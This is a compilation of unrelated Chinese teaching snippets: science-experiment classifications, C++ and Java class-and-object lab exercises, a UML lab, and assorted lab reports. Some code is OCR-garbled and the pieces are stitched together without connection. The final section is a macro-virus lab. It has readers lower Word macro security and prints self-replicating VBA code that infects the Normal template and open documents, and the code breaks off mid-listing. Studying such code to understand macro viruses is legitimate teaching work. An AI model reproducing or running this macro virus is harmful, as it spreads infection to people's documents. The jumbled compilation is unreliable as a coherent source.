实验五 类和对象
小学科学实验分类
教学模式 时间安排
问题假说→实验事实→推理和判 断→验证假说→结论→应用
往往安排在概念、原理的学习之 前,以此推动对化学概念和原理 的讨论。
验证性实验 对研究对象有了一定了解,并形成 了一定认识或提出了某种假说,为 验证这种认识或假说是否正确。
训练实验技能,验证基本理论原理。
注重探究的结果(事实、概念、理论), 而不是探究的过程。
小学科学实验分类
根据实验数据分
1.定性实验
判断研究的对象具有哪些性质,判断某种物质的成分,了解 其结构或者鉴别某种因素是否存在,以及某些因素之间是否有 某种关系的实验。一般说来,定性实验是测定物质的性质,即 有或没有,存在或不存在。
2.定量实验
为了对研究对象的性质、组成及影响因素有深入的认识,从 而对它们之间的数量关系所进行探究,揭示各因素之间数量关 系的实验。一般说来,定量实验是测定物质性质的大小,即有 多少,有多强。
小学科学实验分类
研究物体滚动和滑动的摩擦力 观察比较生、熟马铃薯
定性
一杯水能溶解多少食盐
实验
研究光的传播路线
摆钟每分钟摆动的次数
测试纸拱的承重能力
定量
拉力大小对小车运动的关系
实验
物体在水中是沉还是浮
观察花岗岩
小学科学实验分类
根据实验方式分 1.演示实验 教师演示实验过程,展示实验现象,引导学生观察、思考、 分析,得出实验结论。必要的话也可以由个别学生来演示。 2.分组实验 以小组为单位,小组成员共同参与有效合作,制定实验方案 和步骤,亲身经历实验探究,并在此基础上概括出实验结论。
教法二:学生认识显微镜,根据部位、形状和功能进行命名。 然后教师指出实验注意事项,让学生进行实验操作找出物象, 并要求学生写出找到物象的步骤。接着小组交流、班级讨论, 怎样才能最快地找到物象,在此基础上概括出科学操作方法。 教法一和教法二属什么类型的实验?
从实验内容和目的来划分,可以将化学实验分为哪几类实验?
从实验内容和目的来划分,可以将化学实验分为哪几类实验?
陕西省安康市汉滨区建民初中吕娟娟
初中化学实验目的分类:
1、验证性实验:如物质在氧气中的燃烧;二氧化碳的性质
等
2、探究性实验:蜡烛在空气中的燃烧,吸入呼出气体
3、感知性实验:酸碱度的测定;CO的性质
4、兴趣性实验:魔棒点灯;烧不坏的手帕
5、制取类实验:氧气制取;二氧化碳制取;指导剂的制取
等
初中化学实验内容分类:
(一)分离提纯类,如工业制氧气、水的净化、粗盐提纯;
(二)物质转化类:
①物质制备实验,如氧气的制取、二氧化碳的制取等;
②物质性质实验,如氧气性质实验、二氧化碳性质实验、金属性质实验、酸、碱性质实验等;
③测量数据类实验,如拉瓦锡测定空气组成、酸碱度测量(pH 测定)实验均属于数据测量类实验;
(三)物质的鉴定和鉴别类,如氧气的检验方法,二氧化碳的检验方法,酸碱性溶液的检验等。
(四)家庭小实验:指导剂的制取
实验形式分类:
演示实验;分组实验;探究性实验。
《软件设计与体系结构》实验指导书
《软件设计与体系结构》实验指导书软件工程教研室前言软件设计与体系结构课程是计算机科学与技术专业(软件工程方向)的一门重要的专业课。
通过本课程的学习,使学生在已有的计算机软硬件基础知识、程序设计知识、数据库和计算机网络知识基础上,系统掌握软件设计的基本方法,并具有针对特定环境下的应用问题进行软件系统开发(包括系统分析,设计与实现)的能力。
通过学习本课程学生可以理解和掌握软件设计与体系结构的分析和设计方法,掌握面向对象系统分析和设计的UML标准建模语言,能够利用Rational Rose软件以某一信息系统为例进行系统分析和设计。
本实验主要包括:系统原理的基本概念、系统开发过程RUP、面向对象分析和面向对象设计的方法、面向对象分析和设计的UML标准建模语言等内容。
通过本课程的学习,学生掌握的知识、内容及掌握的程度要求为:1. 使学生理解面向对象的信息系统的开发过程、系统分析和设计的原则和方法;2. 使学生掌握UML语言的基础知识,以及UML在面向对象的软件系统分析和设计中的应用,并能使用UML工具建立系统模型;3. 使学生掌握在UML系统模型下应用高级语言建立应用系统的方法;4. 通过案例教学和实验,提高学生在应用面向对象技术开发软件方面的动手能力和解决问题的能力,并鼓励创新。
本实验所要求的建模工具为Rational Rose 7.5。
实验要求计算机软件建模技术现在越来越广泛的应用于软件工程、软件体系结构中。
本课程实验的目的是为了使学生在课程理论学习的同时,通过在一个实践的环境下,实际学习软件统一建模语言,对软件建模技术有一个初步的了解及认识。
通过本指导书中的各个实验,学习掌握对一般面向对象系统建模的方法与技术。
总之,通过实验环节,使学生加深了解和更好地掌握《软件设计与体系结构》课程教学大纲要求的内容。
在《软件设计与体系结构》的课程实验过程中,要求学生做到:(1)预习实验指导书有关部分,认真做好实验内容的准备,就实验可能出现的问题提前做出思考和分析。
实验技术资料
实验技术在科学研究和工程领域中,实验技术扮演着至关重要的角色。
实验技术是指利用仪器设备和操作方法进行科学实验以获取数据和信息的过程。
通过实验技术,研究人员可以验证假设、测试理论,并最终推动科学知识和技术的发展。
实验技术的分类实验技术可以根据其应用领域和操作对象进行分类。
常见的实验技术包括:生物实验技术生物实验技术主要用于生物学研究领域,包括细胞培养、分子生物学实验、基因工程等。
通过生物实验技术,科研人员可以研究生物体的结构、功能和代谢过程,从而揭示生命的奥秘。
化学实验技术化学实验技术主要用于化学领域,包括合成化学、分析化学、物理化学实验等。
化学实验技术可以帮助研究人员合成新材料、开发新药物、分析化学物质的性质和反应机制。
物理实验技术物理实验技术主要用于物理学研究领域,包括粒子物理实验、凝聚态物理实验、光学实验等。
通过物理实验技术,科研人员可以研究物质的性质、运动规律和相互作用,探索宇宙的奥秘。
实验技术的重要性实验技术在科学研究和工程实践中具有重要意义:•验证理论:实验技术可以帮助科研人员验证理论的正确性,验证实验结果是否与理论预测相符。
•发现新知识:通过实验技术,科研人员可以发现新现象、新规律,推动学科的发展。
•解决问题:实验技术可以帮助工程师解决实际问题,优化产品设计,提高生产效率。
•培养人才:实验技术不仅有利于科研人员的专业成长和能力提升,也有助于培养新一代科学家和工程师。
实验技术的发展趋势随着科技的不断进步,实验技术也在不断发展和演进:•自动化和智能化:实验室的自动化和智能化程度越来越高,许多实验操作可以通过程序控制和自动化设备完成。
•多学科交叉:实验技术的发展促进了多学科的交叉融合,形成了新的研究领域和技术应用。
•数字化和信息化:实验数据的采集、存储和分析越来越依赖于数字化和信息化技术,实验结果可以更方便地共享和传播。
结语实验技术作为科学研究和工程实践的重要工具,对推动科技进步和社会发展起着至关重要的作用。
Visual C++ 6.0实验五类和对象、继承和派生
上海电力学院实验报告课程名称Visual C++ 实验项目类和对象、继承和派生姓名储昊学号20132234 班级2013112 专业通信工程同组人姓名指导教师姓名实验日期实验内容程序Ex_Class:定义一个人员类CPerson,包括的数据成员有姓名、编号、性别和用于输入/输出的成员函数。
在此基础上派生出学生类Cstudent(增加成绩)和教师类Cteacher(增加教龄),并实现对学生和教师信息的输入/输出。
编写一个完整的测试程序,并将Ex_Class 所有的类定义保存在Ex_Class.h中,将类的成员函数实现代码保存在Ex_Class.cpp中。
实验准备和说明(1)在学习完第2章的“继承和派生”内容之后进行本次试验。
(2)编写本次上机所需要的程序。
实验步骤1.创建工作文件夹打开计算机,在“D:\Visual C++程序\LiMing\5”文件夹中创建一个新的子文件夹“5”。
2.输入程序Ex_Class.h(1)启动Visual C++6.0。
(2)单击标准工具栏上的“New Test File”按钮,在新打开的文档窗口中输入下列程序代码:#include<iostream.h>#include<string.h>class CPerson{public:CPerson(){strcpy(pName,"");strcpy(pID,"");}CPerson(char*name,char*id,bool isman=1){Input(name,id,isman);}void Input(char*name,char*id,bool isman) {setName(name);setID(id);setSex(isman);}void Output(){cout<<"姓名:"<<pName<<endl;cout<<"编号:"<<pID<<endl;char*str=bMan?"男":"女";cout<<"性别:"<<str<<endl;}public://姓名属性操作char*getName()const{return(char*)pName;}void setName(char*name){int n=strlen(name);strncpy(pName,name,n);pName[n]='\0';}//编号属性操作char*getID()const{return(char*)pID;}void setID(char*id){int n=strlen(id);strncpy(pID,id,n);pID[n]='\0';}//性别属性操作bool getSex(){return bMan;}void setSex(bool isman){bMan=isman;}private:char pName[20];char pID[20];bool bMan;};class CStudent:public CPerson{public:CStudent(char*name,char*id,bool isman=1);~CStudent(){}void InputScore(double score1,double score2,double score3);void Print();CPerson student;private:double dbScore[3];};class CTeacher:public CPerson{public:CTeacher(char*name,char*id,bool isman=1,int years=10);~CTeacher(){}void Print();private:int nTeachYears;};(3)单击标准工具栏上的“Save”按钮,弹出“保存为”文件对话框。
类与对象实验报告(C++)
实验报告学院工学院课程名称C++程序设计第 1 次实验实验名称:类和对象进一步讨论专业班级姓名学号成绩指导老师签字实验时间2015年10月30日学生实验室守则一、按教学安排准时到实验室上实验课,不得迟到、早退和旷课。
二、进入实验室必须遵守实验室的各项规章制度,保持室内安静、整洁,不准在室内打闹、喧哗、吸烟、吃食物、随地吐痰、乱扔杂物,不准做与实验内容无关的事,非实验用品一律不准带进实验室。
三、实验前必须做好预习(或按要求写好预习报告),未做预习者不准参加实验。
四、实验必须服从教师的安排和指导,认真按规程操作,未经教师允许不得擅自动用仪器设备,特别是与本实验无关的仪器设备和设施,如擅自动用或违反操作规程造成损坏,应按规定赔偿,严重者给予纪律处分。
五、实验中要节约水、电、气及其它消耗材料。
六、细心观察、如实记录实验现象和结果,不得抄袭或随意更改原始记录和数据,不得擅离操作岗位和干扰他人实验。
七、使用易燃、易爆、腐蚀性、有毒有害物品或接触带电设备进行实验,应特别注意规范操作,注意防护;若发生意外,要保持冷静,并及时向指导教师和管理人员报告,不得自行处理。
仪器设备发生故障和损坏,应立即停止实验,并主动向指导教师报告,不得自行拆卸查看和拼装。
八、实验完毕,应清理好实验仪器设备并放回原位,清扫好实验现场,经指导教师检查认可并将实验记录交指导教师检查签字后方可离去。
九、无故不参加实验者,应写出检查,提出申请并经批准后,方可补做。
十、自选实验,应事先预约,拟订出实验方案,经实验室负责人同意后,在指导教师或实验技术人员的指导下进行。
十一、实验室内一切物品未经允许严禁带出室外,确需带出,必须经过批准并办理手续。
预习报告实验基本原理与设计(包括实验方案设计、实验手段的确定、电路原理图设计或算法描述)1、考察类的对象数组:建立一个对象数组,内放5个学生的数据(学号,成绩),用指针指向数组首元素,输出第1,3,5个学生的数据。
知识组块五 五种实验类型
知识组块五五种实验类型命题点1.了解化学实验是科学探究过程中的一种重要方法。
2.了解化学实验室常用仪器的主要用途和使用方法。
3.掌握化学实验的基本操作。
能识别化学品安全使用标识,了解实验室一般事故的预防和处理方法。
4.掌握常见气体的实验室制法(包括所用试剂、仪器,反应原理和收集方法)。
5.能对常见的物质进行检验、分离和提纯,能根据要求配制溶液。
6.能根据实验试题要求,做到:(1)设计、评价或改进实验方案;(2)了解控制实验条件的方法;(3)分析或处理实验数据,得出合理结论;(4)绘制和识别典型的实验仪器装置图。
7.以上各部分知识与技能的综合应用。
关联点“物质性质实验”、“物质制备实验”、“物质组成与性质探究实验”、“设计类实验”、“工业流程类实验”是高中常见实验题型。
其中,“物质性质实验”是“物质制备实验”的基础,后者借助物质的物理、化学性质,利用适当的仪器,合理的实验步骤来实现制备新物质。
因此,要求学生对有关元素化合物的知识有扎实的知识储备。
“物质制备实验”是探究实验的理论起点,性质实验、制备实验、探究实验是“设计类实验”的典型素材,以上这四类实验是“工业流程类实验”常常用来挖掘的源泉,是对学生实验技能的全方位检验(五类实验类型关联图如下图)。
在二轮复习中,教师要根据学生的情况,选择相应的实验类型题,提高应试训练的针对性,将会有效提高成绩。
利用对比和归纳的方法,引导学生仔细梳理化学实验基础知识,包括常见仪器的使用、基本操作、常见物质的制备,并分别对五种实验类型作要点做总结,结合实战演练,不断加深对此类问题的理解。
设问点1.物质组成与性质探究实验有哪些要点?探究实验的类型:(1)反应物性质方面的探究反应物之间的接触面积、颗粒大小、状态、浓度、用量、纯度等都属于反应物的性质,而这些性质的改变往往会对实验的效果产生一些影响。
因此,对于某一特定的反应而言,可以将反应物的某一或某几种性质确定为探究点,进行探究,从而得到能使实验效果最佳的反应物性质。
武汉理工大学软件工程基础试验第五次试验报告
实验五UML系统分析与设计----UML建模案例实验5-1 用例图设计实验5-2 类和对象图设计实验5-3 交互图设计实验5-4 状态图设计实验5-5 活动图设计实验5-1用例图设计一、实验目的掌握在EA中用例图的基本用法和使用技巧。
二、实验内容与要求本实验给予某学校的网上选课系统的用例图的设计和实现。
需求描述如下:某学校的网上选课系统主要包括如下功能:管理员通过系统管理界面进入,建立本学期要开设的各种课程、将课程信息保存在数据库中并可以对课程进行改动和删除。
学生通过客户机浏览器根据学号和密码进入选课界面,在这里学生可以进行三种操作:查询已选课程、选课以及付费。
同样,通过业务层,这些操作结果存入数据库中。
分析:本系统拟用三层模型实现:数据核心层、业务逻辑层和接入层。
其中,数据核心层包括对于数据库的操作;业务逻辑层作为中间层对用户输入进行逻辑处理,再映射到相应的数据层操作;而接入层包括用户界面,包括系统登陆界面、管理界面、用户选择界面等。
本系统涉及的用户包括管理员和学生,他们是用例图中的活动者,他们的主要特征相似,都具有姓名和学号等信息,所以可以抽象出“基”活动者^^卜而管理员和学生从people 统一派生。
数据库管理系统是另外一个活动者。
系统事件:添加课程事件:(1)管理员选择进入管理界面,用例开始。
(2)系统提示输入管理员密码。
(3)管理员输入密码。
(4)系统验证密码。
(5)A1密码错误(6)进入管理界面,系统显示目前所建立的全部课程信息。
(7)管理员许恩泽添加课程。
(8)系统提示输入新课程信息。
(9)管理员输入信息。
(10)系统验证是否和已有课程冲突。
(11)A2有冲突。
(12)用例结束。
其他事件:A1密码错误(1)系统提示再次输入。
(2)用户确认。
(3)三次错误,拒绝再次访问。
(4)否则进入添加课程事件第6步。
A2有冲突(1)系统提示冲突,显示冲突课程信息。
(2)用户重新输入。
(3)继续验证直到无冲突。
小学科学实验一览表
团队协作
在实验过程中相互协作,共同 完成任务。
06 总结回顾与展望未来发展
本次实验总结回顾
实验内容丰富
本次小学科学实验涵盖了多个领域,包括物理、化学、生物等,为 孩子们提供了广泛的实验体验。
实验操作实践性强
实验设计注重实践操作,让孩子们通过亲手操作,深入了解科学知 识和实验技巧。
安全防范措施
遵守实验室安全规定
在实验室中,应遵守实验室的安全规定和操作致安全事故。
注意个人防护
在实验过程中,应注意个人防护。佩戴合适的防护用具,如手套、 口罩等,以避免接触有毒有害物质。
及时处理危险品
对于危险品,如易燃易爆物质、有毒有害物质等,应妥善保管和处 理。避免因处理不当导致安全事故。
科学实验将更加注重跨学科融合
未来的科学实验将更加注重跨学科融合,将不同 领域的科学知识相互渗透,为孩子们提供更加全 面的科学教育。
1.谢谢聆 听
准备实验器材
根据实验需要,准备好相 应的实验器材和材料。
按照步骤进行操作
按照实验步骤的说明,逐 步进行实验操作,注意观 察实验现象和记录数据。
整理实验结果
在实验结束后,要及时整 理实验结果,分析实验数 据,得出结论。
实验步骤与操作方法注意事项
注意安全
在实验过程中,要注意安全,避 免接触危险物品和进行危险操作
小学科学实验一览表
汇报人: 2023-12-16
目录
• 实验主题与目标 • 实验材料准备与注意事项 • 实验步骤与操作方法 • 实验结果分析与讨论 • 实验拓展与延伸应用 • 总结回顾与展望未来发展
01 实验主题与目标
实验主题分类
物质科学
实验五 类与对象
实验五类与对象(一)【实验目的】1、掌握类的概念以及定义类的方法;2、学习简单面向对象程序的编写;【实验内容】1、设计一个名为Fan的类,表示一个风扇,该类满足下述要求:•具有描述风扇转速的成员speed;•具有描述风扇是否开启的成员on;•具有描述风扇半径的成员radius;•具有描述风扇颜色的成员color•以上所有成员的访问和更改函数;•输出风扇所有信息的函数display;•在main函数中创建2个Fan的对象,将第一个风扇的转速、半径和颜色分别设置为3、10和yellow,并将它打开。
第二个风扇的转速、半径和颜色分别设置为2、5和blue,并将它关闭。
输出以上2个风扇的所有信息。
程序如下:#include <iostream>#include <string>using namespace std;class Fan{public:Fan(float s, float r, string c, string o){speed=s;radius=r;color=c;on=o;}void display(){cout << "Status:\t" << on<<endl;cout << "Speed:\t" << speed << endl;cout << "Radius:\t" << radius << endl;cout << "Color:\t" << color << endl;cout << endl;}private:float speed;float radius;string color;string on;};int main(){Fan fan1(3, 10 , "yellow", "on");Fan fan2(2, 5, "blue", "off");cout << "The first fan is :" << endl;fan1.display();cout << "The second fan is:" << endl;fan2.display();return 0;}2、设计一个名为Account的类,该类满足下述要求:•一个名为id的int型成员,表示账户的身份号;•一个名为balance的double型成员,表示账户余额;•一个名为annualInterestRate的double型数据域,保存当年利率;•以上所有成员的访问和更改函数;•一个名为getMonthlyInterestRate( )的函数,返回月利率;月利率为年利率/12;•一个名为withDraw的函数,从账户中支取指定金额;•一个名为deposit的函数,向账户中存入指定金额;•在mian函数中,创建一个Account对象,其ID为1122,账户余额为20000,年利率为4.5%,使用withDraw函数取出2500美元,使用deposit函数存入3000美元,然后输出账户的余额、月利率。
实验5类和对象1答案
实验5: Java类与对象一、实验目的(1)使用类来封装对象的属性和功能;(2)掌握Java类的定义。
(3)java对象的使用二、实验任务(1)按要求编写一个Java程序。
(2)按要求完善一个Java程序,编译、运行这个程序,并写出运行结果。
三、实验内容1. 编写一个Java程序片断,以定义一个表示学生的类Studen。
这个类的属性有“学号”、“班号”、“姓名”、“性别”、“年龄”,方法有“获得学号”、“获得班号”、“获得性别”、“获得姓名”、“获得年龄”、“获得年龄” 02. 为类Student增加一个方法public String toString(),该方法把Student类的对象的所有属性信息组合成一个字符串以便输出显示。
编写一个Java Application程序,创建Student类的对象,并验证新增加的功能。
class Stude nt{long stude ntID;int classID;Stri ng n ame;Stri ng sex;int age;public Stude nt(l ong stude ntlD,i nt classlD,Stri ng n ame,Stri ng sex,i nt age){ this.stude ntID=stude ntID;this.classlD=classlD;this .n ame=n ame;this.sex=sex; this.age=age;}public long getStudentID(){return stude ntID;}public in t getClasslD(){return classID;}public String getName(){return name;}public String getSex(){return sex;}public int getAge(){return age;}public String toString(){return "学号:"+getStudentID()+"\n 班号:"+getClassID()+"\n 姓名:"+getName()+"\n 性别:"+getSex()+"\n 年龄:"+getAge();}}public class StudentDemo{public static void main(String[] args){Student s1=new Student(90221,2,"Tom","male",20);System.out.println(s1.toString());}}运行结果:学号:90221班号:2 姓名:Tom 性别:male年龄:202.程序填空,程序中包含以下内容:一个学生类(Student) 包含:属性:学号s_No,姓名s_Name性别s_Sex年龄s_Aga方法:构造方法,显示学号方法showNo(),显示姓名方法showName(),显示性别方法showSex()显示年龄方法showAge()修改年龄方法modifyAge()o 主类(X2),包含:主方法main(),在其中创建两个学生对象si和s2并初始化,第一个对象的属性为(101,"张三"," 男",18),第二个对象的属性值为( 1 02,"李四","女",1 6) ,然后分别显示这两个学生的学号、姓名、性别、年龄,然后修改s1 的年龄并显示修改后的结果。
小学科学实验25种分类汇总(精编版)
小学科学实验25种分类汇总(精编版)本文档汇总了小学科学实验的25种分类,旨在为小学生提供丰富的实验项目选择,帮助他们掌握科学知识,培养科学思维。
以下是这些分类及其相应的实验项目:1. 力学实验- 研究摩擦力:通过比较不同材料之间的摩擦力,观察物体的运动情况。
- 探索简单机械:设计和制作简单的杠杆和滑轮系统,了解力的作用原理。
2. 光学实验- 研究光的折射现象:通过研究光在不同介质中的折射现象,观察光的路径变化。
- 制作简易显微镜:利用简单材料制作显微镜,观察微小物体的结构。
3. 电学实验- 制作电池:通过简单材料制作电池,观察电能的转化过程。
- 探索电导体和绝缘体:通过比较不同材料的导电性,了解电流的流动原理。
4. 热学实验- 探索热传导:通过比较不同材料的热传导速度,观察热的传递过程。
- 制作热量计:利用简单材料制作热量计,测量物体的热量变化。
5. 声学实验- 研究声音的传播:通过比较不同介质中声音的传播速度,了解声音的传播原理。
- 制作简易乐器:利用简单材料制作乐器,了解声音的产生和变化。
6. 化学实验- 探索酸碱性:通过测试不同物质的酸碱性,了解化学物质的性质。
- 实验制作气体:利用化学反应制造气体,观察气体的性质和反应。
7. 生物实验- 观察植物的生长过程:种植不同种类的植物,观察其生长、开花和结果。
- 研究昆虫行为:观察昆虫的行为,了解昆虫的生活性。
8. 地理实验- 研究水的循环过程:模拟水的循环过程,了解水在地球上的分布和运动。
- 探索土壤的特性:通过观察不同土壤的颜色、质地和保水性,了解土壤的特性。
9. 天文学实验- 制作星盘:制作简易的星盘,观察星星的位置和运动。
- 研究月相变化:观察月亮的月相变化,了解月亮的运动规律。
以上是小学科学实验的25种分类及其相应的实验项目。
通过进行这些实验,小学生可以积极参与科学探索,培养自己的科学兴趣和能力。
希望这份汇总对您有所帮助!。
微生物实验的分类方法
微生物实验的分类方法
微生物实验的分类方法可以根据实验目的、实验对象和实验条件等不同因素进行分类。
以下是常见的微生物实验分类方法:
1. 根据实验目的分类:
- 鉴定和鉴别实验:用于确定微生物的种类或进行微生物的鉴定鉴别。
- 生长和培养实验:用于观察微生物的生长和繁殖情况,包括培养基的制备、无菌技术等。
- 生物合成和代谢实验:用于研究微生物的代谢途径、合成产物等。
2. 根据实验对象分类:
- 细菌实验:主要研究细菌的特性、生物学行为等。
- 真菌实验:主要研究真菌的生长、培养条件等。
- 病毒实验:主要研究病毒的感染机制、复制过程等。
3. 根据实验条件分类:
- 水质检测实验:主要用于分析水体中的微生物数量和种类,以评估水体的卫生状况。
- 食品微生物学实验:用于检测食品中的微生物污染情况,以保障食品安全。
- 土壤微生物学实验:用于研究土壤中的微生物种类、数量以及对土壤环境的影响。
总之,微生物实验的分类方法主要是根据实验的目的、对象和条件来进行划分,不同的分类方法可以根据实验需要进行选择和综合应用。
实验报告中的实验对象
实验对象:植物生长激素对植物生长发育的影响一、实验背景植物生长激素是一类在植物生长发育过程中起重要作用的内源物质,主要包括生长素、细胞分裂素、赤霉素、脱落酸和乙烯等。
这些激素在植物的生长发育过程中发挥着调控作用,如促进植物生长、调控开花、促进果实成熟等。
为了研究植物生长激素对植物生长发育的影响,本实验选取了小麦、玉米和水稻三种作物作为实验对象,通过施加不同浓度的植物生长激素,观察其生长发育情况。
二、实验材料与方法1. 实验材料(1)小麦:选用品种为“扬麦13”的小麦种子。
(2)玉米:选用品种为“黄玉米”的玉米种子。
(3)水稻:选用品种为“汕优63”的水稻种子。
(4)植物生长激素:生长素、细胞分裂素、赤霉素、脱落酸和乙烯。
2. 实验方法(1)种子处理:将小麦、玉米和水稻种子分别浸泡在浓度为0.1mg/L的生长素、细胞分裂素、赤霉素、脱落酸和乙烯溶液中,浸泡时间为24小时。
(2)播种:将处理过的种子均匀播种在装有土壤的花盆中,每个品种分别设置5个处理组,每个处理组10盆。
(3)施肥:在播种后第7天,对每个处理组施以等量的氮、磷、钾肥。
(4)观察记录:在播种后第7天、第14天和第21天分别观察记录植物的生长发育情况,包括株高、叶片数、茎粗、根系长度等指标。
三、实验结果与分析1. 小麦生长激素处理效果(1)生长素:在生长素处理组中,小麦株高、叶片数和茎粗均有所增加,根系长度无明显变化。
(2)细胞分裂素:在细胞分裂素处理组中,小麦株高、叶片数和茎粗均有所增加,根系长度无明显变化。
(3)赤霉素:在赤霉素处理组中,小麦株高、叶片数和茎粗均有所增加,根系长度无明显变化。
(4)脱落酸:在脱落酸处理组中,小麦株高、叶片数和茎粗均有所减少,根系长度无明显变化。
(5)乙烯:在乙烯处理组中,小麦株高、叶片数和茎粗均有所减少,根系长度无明显变化。
2. 玉米生长激素处理效果(1)生长素:在生长素处理组中,玉米株高、叶片数和茎粗均有所增加,根系长度无明显变化。
实验5.内部类
第一题.目的:验证内部类对象总与创建它的外部类对象关联 (1)第二题.定义一个Father类 (1)第三题.修改BankAccount (2)第四题.拷贝自身重要数据 (3)第五题.连锁店问题 (4)第六题.修改外围类对象数据,影响内部类行为 (4)第七题.迭代器的局部类实现 (6)第一题参考答案 (7)第二题参考答案 (7)第三题参考答案 (8)第四题参考答案 (10)第五题参考答案 (10)第六题参考答案 (11)第七题参考答案 (11)实验五. 内部类,局部类,匿名类背景知识内部类内部类对象的创建局部类匿名类实验目的1.掌握内部类,局部类,匿名类概念2.学习定义内部类,局部类,匿名类。
3.学习创建内部类,局部类,匿名类对象。
实验内容和步骤第一题.目的:验证内部类对象总与创建它的外部类对象关联1.定义一个类A,它有一个内部类B.2.定义B的方法g,它访问A的数据成员。
3.定义A的方法f,它访问B的数据成员,注意必须指明那个内部类对象的数据成员。
4.确保类A有方法修改A的域。
5.确保类B有方法print,输出A的域。
6.定义类C,它只有一个main方法。
在main方法体内创建A类对象a。
a作为外围对象创建B类对象b;7.验证:每个内部类对象,都有一个相关联的外部类对象,就是创建它的外部类对象。
方法:首先对象b调用print,打印a的域,然后修改a的域,最后b再次调用print,打印a的域,打印结果应该与对a的修改一致,从而说明b与a相关联。
第二题.定义一个Father类它包括:1.内部类Son,表示儿子的类,包括a)数据域phone,表示儿子电话号。
b)内部类构造方法c)CallFather方法,给父亲打电话,打印“xxx给yyy打电话”即可,xxx是儿子电话号,yyy是父亲电话号。
2.数据域phone,表示父亲电话号。
3.Son数组,保存儿子。
4.count,保存儿子个数5.构造函数。
6.给儿子打电话的方法CallSon,打印“给xxx打电话”即可,xxx是儿子电话号。
高中物理五大实验类型实验总结
高中物理五大实验类型实验总结在高中物理学习中,实验是一项非常重要的环节,通过实验可以帮助学生巩固理论知识,提高动手实践能力,培养科学精神和创新意识。
本文从物理实验的分类和特点出发,总结了高中物理学习中常见的五大实验类型及其相关知识。
物理实验分类按照物理学规律的不同,物理实验可以分为以下五大类型:1.等比实验: 在实验中变量之间的比例关系不变。
2.反比实验: 在实验中变量之间的比例关系为反比关系。
3.等差实验: 在实验中变量之间的差值关系不变。
4.反馈实验: 在实验中留下影响自身的反馈信息,对自身进行修正。
5.综合实验: 在实验中同时涉及到以上多个类型的关系。
以上实验类型旨在通过不同的方式,探究物理学的不同性质和规律,展现物理学的多样性和丰富性,增加实验的趣味性和创新性。
五大实验类型下面针对不同类型的实验,总结实验的特点和重点。
1. 等比实验等比实验是一种变量比例不变而变化实验,常用于研究物理量的函数关系。
其特点是同样的变化量在实验不同阶段中都是等比变化的,因此需要注意在实验过程中保持变化量的比例关系不变。
例如在研究弹簧的胡克定律关系时,需要保证弹簧拉伸长度与所受拉力成正比,这就是一个等比实验。
2. 反比实验反比实验是一种变量比例呈反比关系而变化实验。
其特点是变量存在着互为倒数的关系,因此需要注意对变量的量纲和单位的选择。
例如在研究牛顿定律中质量与重力的反比关系时,需要保持质量与重力除法的结果不变,即所受重力和质量之比保持不变。
3. 等差实验等差实验是一种变量之间的差值保持不变而变化的实验,其特点是变量之间的关系可以用等差数列的形式表示。
例如在研究匀变速直线运动时,可以通过测量相同时间间隔内运动物体发生的位移变化量,来确定运动物体的速度和加速度。
4. 反馈实验反馈实验是一种在实验过程中留下对实验自身进行修正的反馈信息的实验。
例如在研究摩擦力时,只有检测到实验中发生的摩擦力,引起运动状态的变化,才能对实验进行修正和调整。
实验报告中的对象
一、实验背景光合作用是植物生长过程中至关重要的生理过程,它将光能转化为化学能,为植物提供生长所需的能量和有机物质。
在光合作用过程中,植物吸收二氧化碳,释放氧气。
随着全球气候变化的加剧,大气中二氧化碳浓度逐渐升高,对植物光合作用的影响日益显著。
本研究旨在探究不同二氧化碳浓度对植物光合作用的影响,为植物栽培和环境保护提供理论依据。
二、实验目的1. 研究不同二氧化碳浓度对植物光合作用的影响。
2. 分析植物光合速率、气孔导度、光合效率等指标在不同二氧化碳浓度下的变化规律。
3. 探讨植物适应高二氧化碳浓度的生理机制。
三、实验材料与方法1. 实验材料:选取生长状况良好、具有代表性的玉米幼苗作为实验材料。
2. 实验方法:(1)设置实验组:将实验材料分为5组,分别置于5个密闭的容器中,容器内二氧化碳浓度分别为:300、400、500、600、700μmol·mol-1。
(2)实验处理:将玉米幼苗置于光照条件下,光照强度为1500μmol·m-2·s-1,温度为25℃,光照时间为12小时,黑暗时间为12小时。
(3)测定指标:在实验过程中,每隔24小时测定一次植物的光合速率、气孔导度、光合效率等指标。
(4)数据分析:采用SPSS软件对实验数据进行统计分析,比较不同二氧化碳浓度下植物光合作用指标的变化。
四、实验结果1. 光合速率(1)随着二氧化碳浓度的升高,植物光合速率呈上升趋势。
在300μmol·mol-1二氧化碳浓度下,植物光合速率为5.00μmol·m-2·s-1;在700μmol·mol-1二氧化碳浓度下,植物光合速率为8.00μmol·m-2·s-1。
(2)在400μmol·mol-1二氧化碳浓度下,植物光合速率达到峰值,为6.50μmol·m-2·s-1。
2. 气孔导度(1)随着二氧化碳浓度的升高,植物气孔导度呈先升高后降低的趋势。
实验五类TaiWanNO.1病毒实验
实验五类TaiWanNO.1病毒实验实验五类TaiWan NO.1病毒实验1.实验⽬的Word宏是指能组织到⼀起为独⽴命令使⽤的⼀系列Word指令,它能使⽇常⼯作变得容易。
本实验演⽰了宏的编写,通过两个简单的宏病毒⽰例,说明宏的原理及其安全漏洞和缺陷,理解宏病毒的作⽤机制,从⽽加强对宏病毒的认识,提⾼防范意识。
2.实验所需条件和环境硬件设备:局域⽹,终端PC机。
系统软件:Windows系列操作系统⽀撑软件:Word 2003软件设置:关闭杀毒软;打开Word 2003,在⼯具→宏→安全性中,将安全级别设置为低,在可靠发⾏商选项卡中,选择信任任何所有安装的加载项和模板,选择信任visual basic项⽬的访问实验环境配置如下图所⽰:受感染终端被感染终端宏病毒传播⽰意图3.实验内容和分析为了保证该实验不⾄于造成较⼤的破坏性,进⾏实验感染后,被感染终端不要打开过多的word⽂档,否则清除⽐较⿇烦(对每个打开过的⽂档都要清除)。
3.1. 例1 ⾃我复制,感染word公⽤模板和当前⽂档代码如下:'Micro-VirusSub Document_Open()On Error Resume NextApplication.DisplayStatusBar = FalseOptions.SaveNormalPrompt = FalseOurcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModuleIf ThisDocument = NormalTemplate ThenSet Host = ActiveDocument.VBProject.VBComponents(1).CodeModuleEnd IfWith HostIf .Lines(1.1) <> "'Micro-Virus" Then.DeleteLines 1, .CountOfLines.InsertLines 1, Ourcode.ReplaceLine 2, "Sub Document_Close()"If ThisDocument = nomaltemplate Then.ReplaceLine 2, "Sub Document_Open()"ActiveDocument.SaveAs ActiveDocument.FullNameEnd IfEnd IfEnd 